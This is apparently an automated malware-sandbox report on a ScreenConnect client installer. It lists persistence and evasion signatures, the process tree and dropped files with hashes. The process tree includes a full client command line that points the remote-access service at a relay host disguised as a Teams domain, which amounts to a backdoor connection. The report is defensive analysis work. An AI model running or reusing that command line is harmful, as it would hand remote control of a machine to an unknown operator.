Analysis

  • max time kernel
    110s
  • max time network
    122s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260629-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260629-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    05/07/2026, 00:16

General

  • Target
    ScreenConnect.ClientSetup%20%2817%29%20%281%29.msi
  • Size 4.8MB
  • Sample260705-akxtbsft4y
  • SHA256 0fb32dc1d635993ca59dbb513610c7ea0386d8ee8ca3fc7659aa62bf306ce801
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs

    Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

  • Signed with revoked ConnectWise certificate 2 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

  • ConnectWise ScreenConnect remote access tool

    ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.

  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 23 IoCs
  • Enumerates connected drives 3 TTPs 48 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

  • Drops file in System32 directory 2 IoCs
  • Drops file in Program Files directory 19 IoCs
  • Drops file in Windows directory 17 IoCs
  • Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks SCSI registry key(s) 3 TTPs 64 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Modifies data under HKEY_USERS 13 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 10 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 56 IoCs
  • Suspicious use of SendNotifyMessage 40 IoCs
  • Suspicious use of SetWindowsHookEx 8 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Windows\system32\msiexec.exe
    msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\ScreenConnect.ClientSetup%20%2817%29%20%281%29.msi
    1⤵
    • Enumerates connected drives
    • Event Triggered Execution: Installer Packages
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    PID:4272
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Boot or Logon Autostart Execution: Authentication Package
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1564
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 65AF4994E8E5917A2B2514EAC4C6EF39 C
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:3264
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI650.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240715406 3 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:1816
    • C:\Windows\system32\srtasks.exe
      C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
      2⤵
        PID:2724
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding A9817E55D117E8AB57A95485A2A5037D
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        PID:356
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 7210908646D0007AA7B8264919C54B97 E Global\MSI0000
        2⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        PID:4608
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Checks SCSI registry key(s)
      PID:948
    • C:\Program Files (x86)\ScreenConnect Client (5ee602d3c477757f)\ScreenConnect.ClientService.exe
      "C:\Program Files (x86)\ScreenConnect Client (5ee602d3c477757f)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=relays.teamsupdatevipapi0274.us&p=8041&s=3d01fa6c-113d-42e0-b1a0-b64371d16570&k=BgIAAACkAABSU0ExAAgAAAEAAQAVabycuWi%2f7lyJLoh11Qj1Cq5CVJ%2bVuScNNNGuiC9UGJLvHaj0X%2b6gclkT%2fcjS02p8mijmYpYttTDewuFp%2bvY1Buxm26B7KFgfW2khyXv6ib3aqTBbjQC5muTSJ2207dOdkF6gNeZNeQ2ecDkaAYuboNEBvOlO0nfJZIael%2f135yu4oTzLUNG8d6vL2xJSiM1%2burlDwERDVfHlwfC%2f18MEDiDfUgwQUA0rOBUpi1a3jb5%2bAxEzx%2bpoGam8cKu8dxs8IKtZvHVTwp1OoFZTWPcq2kDBJY3c7UCIB%2bWnQXDPvu0%2f9Dxe8fjABQmgy%2ftZYM7EgQerUl8tlF21L0M0ufyq"
      1⤵
      • Sets service image path in registry
      • Executes dropped EXE
      • Loads dropped DLL
      • Drops file in System32 directory
      • System Location Discovery: System Language Discovery
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:1276
      • C:\Program Files (x86)\ScreenConnect Client (5ee602d3c477757f)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (5ee602d3c477757f)\ScreenConnect.WindowsClient.exe" "RunRole" "bfc271cb-f964-4443-b50e-c3053afc3ea3" "User"
        2⤵
        • Executes dropped EXE
        PID:1860
      • C:\Program Files (x86)\ScreenConnect Client (5ee602d3c477757f)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (5ee602d3c477757f)\ScreenConnect.WindowsClient.exe" "RunRole" "5809abc9-edd5-4515-a4b5-35611404d440" "System"
        2⤵
        • Executes dropped EXE
        • Checks processor information in registry
        • Modifies data under HKEY_USERS
        PID:5384
    • C:\Windows\system32\sihost.exe
      sihost.exe
      1⤵
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of WriteProcessMemory
      PID:5456
      • C:\Windows\explorer.exe
        explorer.exe /LOADSAVEDWINDOWS
        2⤵
        • Boot or Logon Autostart Execution: Active Setup
        • Enumerates connected drives
        • Checks SCSI registry key(s)
        • Modifies Internet Explorer settings
        • Modifies registry class
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SendNotifyMessage
        • Suspicious use of SetWindowsHookEx
        PID:2340
    • C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe
      "C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe" -ServerName:CortanaUI.AppXstmwaab17q5s3y22tp6apqz7a45vwv65.mca
      1⤵
      • Modifies registry class
      • Suspicious use of SetWindowsHookEx
      PID:2204
    • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
      "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
      1⤵
      • Modifies registry class
      • Suspicious use of SetWindowsHookEx
      PID:2964

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          e596142.rbs

          • Path C:\Config.Msi\e596142.rbs
          • Size 214KB
          • SHA256 91a19c081a0c5e5adbfc2ded38f8bc0589322018d05217e07079ba62c514a3ae
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.Override.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (5ee602d3c477757f)\Client.Override.en-US.resources
          • Size 316B
          • SHA256 cc0f52a92862da80c84c6c59ff7229ffd8db8a5ebf99e9d6ad25ff3b003c8cce
          • MD5 SHA1 SHA512 TLSH

          Client.Override.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (5ee602d3c477757f)\Client.Override.resources
          • Size 11KB
          • SHA256 766d0d7d3f9d4aa8b34f1cf09acd9bc2da35750ba5346c4de77e6ee001438607
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (5ee602d3c477757f)\Client.en-US.resources
          • Size 49KB
          • SHA256 b26b7a988aba7f94473468cae82846bb672a422b016ed1907d187a5c3bb0f8a0
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (5ee602d3c477757f)\Client.resources
          • Size 33KB
          • SHA256 e0d0e5d951ef955f22d110b65b3fedfb8b1710491563d7c541f5e3d9fd4ccee8
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Client.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (5ee602d3c477757f)\ScreenConnect.Client.dll
          • Size 202KB
          • SHA256 ea1ba32647cf18942e5d26e4d80ade8d25db7984555f55c378c9ad0d33c11271
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (5ee602d3c477757f)\ScreenConnect.ClientService.dll
          • Size 77KB
          • SHA256 84d0a414d03ab35f65cb149229ac2a64cde9b20f3cb2aba9099c71510a749fe4
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (5ee602d3c477757f)\ScreenConnect.ClientService.exe
          • Size 93KB
          • SHA256 46457d98fb1c53bbccb66c1015eb831355f30c8bf8e6f25cf3183aac2a5fd8ab
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Core.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (5ee602d3c477757f)\ScreenConnect.Core.dll
          • Size 549KB
          • SHA256 6928d272bdcfb0a1739d4ffee9a1a6e230880a3ce954233a83fdc70024c1e7ad
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Windows.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (5ee602d3c477757f)\ScreenConnect.Windows.dll
          • Size 1.7MB
          • SHA256 fb81fc9354d12d15f125492c74f766bb538ddc1f9748735b0bdfbf6e945175c6
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsAuthenticationPackage.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (5ee602d3c477757f)\ScreenConnect.WindowsAuthenticationPackage.dll
          • Size 254KB
          • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (5ee602d3c477757f)\ScreenConnect.WindowsClient.exe
          • Size 595KB
          • SHA256 3b150443fbb196446479367dc44888488045ae8eef9b872406656cf33ace2556
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe.config

          • Path C:\Program Files (x86)\ScreenConnect Client (5ee602d3c477757f)\ScreenConnect.WindowsClient.exe.config
          • Size 266B
          • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
          • MD5 SHA1 SHA512 TLSH

          ScreenConnect.WindowsCredentialProvider.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (5ee602d3c477757f)\ScreenConnect.WindowsCredentialProvider.dll
          • Size 838KB
          • SHA256 c36e1b629985cf5379733de9c2d645446cb3333f8660bf137a46fb227ef170e4
          • MD5 SHA1 SHA512 SSDEEP TLSH

          app.config

          • Path C:\Program Files (x86)\ScreenConnect Client (5ee602d3c477757f)\app.config
          • Size 2KB
          • SHA256 88731e50367d1fdf558a5d66a751fb263cdfdf5a44a66d6db8092f9a1819aea7
          • MD5 SHA1 SHA512 TLSH

          system.config

          • Path C:\Program Files (x86)\ScreenConnect Client (5ee602d3c477757f)\system.config
          • Size 963B
          • SHA256 6d44f1aa666abb186fdd9d4f17f58725c100b5c0ed85794ba1ec35531870e5d6
          • MD5 SHA1 SHA512 TLSH

          prep_Activatable Class_Hermes_perf.cache

          • Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\TempState\prep_Activatable Class_Hermes_perf.cache
          • Size 599B
          • SHA256 b536a3dae9ea5c69081f0491eed829e3b57e32401fdf49a63031bcd6b20e6fdb
          • MD5 SHA1 SHA512 TLSH

          MSI650.tmp

          • Path C:\Users\Admin\AppData\Local\Temp\MSI650.tmp
          • Size 1.0MB
          • SHA256 9571cbea87aa83be41b2e63a5cd62498da91793c4fa1fc38baa07a73b1c2d02c
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Microsoft.Deployment.WindowsInstaller.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI650.tmp-\Microsoft.Deployment.WindowsInstaller.dll
          • Size 172KB
          • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Core.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI650.tmp-\ScreenConnect.Core.dll
          • Size 539KB
          • SHA256 613af5bfae8fb43f24c223c3aef411f532eaaf223f9f09a1dad0a4f16fb3672b
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.InstallerActions.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI650.tmp-\ScreenConnect.InstallerActions.dll
          • Size 11KB
          • SHA256 404b02b47b8f6fe72dd5957694810dddd3d760f530b90aade0eece30fe1950e4
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Windows.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI650.tmp-\ScreenConnect.Windows.dll
          • Size 1.6MB
          • SHA256 0b87dd18e02ce7c363ebe016d81ebfab230230f9821554015c0a3505bf021d6f
          • MD5 SHA1 SHA512 SSDEEP TLSH

          MSI8eaa9.LOG

          • Path C:\Users\Admin\AppData\Local\Temp\MSI8eaa9.LOG
          • Size 232B
          • SHA256 3d1ae9294e7b921cd05e08ea6fe27697de6d3c701ac4b8d43b36d9496d13ed42
          • MD5 SHA1 SHA512 TLSH

          MSIE8F4.tmp

          • Path C:\Users\Admin\AppData\Local\Temp\MSIE8F4.tmp
          • Size 1.1MB
          • SHA256 a567086664f73664d2824f87bf0207bd018ccb4b4a5a9c2ff1ddadc50be1a696
          • MD5 SHA1 SHA512 SSDEEP TLSH

          MSI6818.tmp

          • Path C:\Windows\Installer\MSI6818.tmp
          • Size 202KB
          • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
          • MD5 SHA1 SHA512 SSDEEP TLSH

          e596141.msi

          • Path C:\Windows\Installer\e596141.msi
          • Size 4.8MB
          • SHA256 0fb32dc1d635993ca59dbb513610c7ea0386d8ee8ca3fc7659aa62bf306ce801
          • MD5 SHA1 SHA512 SSDEEP TLSH

          metadata-2

          • Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
          • Size 26.1MB
          • SHA256 ee8415ce8aebde00cd94d5903a6ee7cdb1fbb57d81a651c3a732f781e78f41a1
          • MD5 SHA1 SHA512 SSDEEP TLSH

          {cb33e17e-b20d-4f15-8287-3684fdb5039e}_OnDiskSnapshotProp

          • Path \??\Volume{0c051f61-0000-0000-0000-d08302000000}\System Volume Information\SPP\OnlineMetadataCache\{cb33e17e-b20d-4f15-8287-3684fdb5039e}_OnDiskSnapshotProp
          • Size 6KB
          • SHA256 29d4019d67932d8deeaefdb8ffea2897ff2191c3c92e30ed846cc646753521b4
          • MD5 SHA1 SHA512 SSDEEP TLSH

          memory/1276-110-0x00000000049A0000-0x0000000004A32000-memory.dmp

          memory/1276-112-0x0000000004600000-0x0000000004641000-memory.dmp

          memory/1276-114-0x0000000004B90000-0x0000000004C65000-memory.dmp

          memory/1276-109-0x00000000046A0000-0x00000000046D6000-memory.dmp

          memory/1276-105-0x0000000004650000-0x00000000046A0000-memory.dmp

          memory/1276-90-0x0000000004750000-0x00000000048FC000-memory.dmp

          memory/1276-86-0x0000000004510000-0x000000000459E000-memory.dmp

          memory/1276-80-0x0000000001C80000-0x0000000001C98000-memory.dmp

          memory/1816-35-0x00000000064B0000-0x0000000006A6A000-memory.dmp

          memory/1816-34-0x0000000005D40000-0x0000000005EEC000-memory.dmp

          memory/1816-22-0x0000000003930000-0x000000000395E000-memory.dmp

          memory/1816-26-0x0000000003970000-0x000000000397A000-memory.dmp

          memory/1816-30-0x0000000003A60000-0x0000000003AEE000-memory.dmp

          memory/1860-127-0x000000001C290000-0x000000001C43C000-memory.dmp

          memory/1860-128-0x000000001C440000-0x000000001C5C8000-memory.dmp

          memory/1860-129-0x0000000001A20000-0x0000000001A38000-memory.dmp

          memory/1860-130-0x0000000003180000-0x0000000003198000-memory.dmp

          memory/1860-126-0x000000001C050000-0x000000001C0DE000-memory.dmp

          memory/1860-125-0x00000000031C0000-0x00000000031F6000-memory.dmp

          memory/1860-124-0x0000000000E80000-0x0000000000F18000-memory.dmp

          memory/2204-167-0x000002C002E10000-0x000002C002E30000-memory.dmp

          memory/2204-159-0x000002C002E70000-0x000002C002F70000-memory.dmp

          memory/2204-158-0x000002C002A30000-0x000002C002A50000-memory.dmp

          memory/2204-137-0x000002C0001E0000-0x000002C0002E0000-memory.dmp

          memory/2204-136-0x000002C0001E0000-0x000002C0002E0000-memory.dmp

          memory/2204-135-0x000002C0001E0000-0x000002C0002E0000-memory.dmp

          memory/2204-181-0x000002C014330000-0x000002C014350000-memory.dmp

          memory/2340-307-0x0000000005100000-0x00000000051AE000-memory.dmp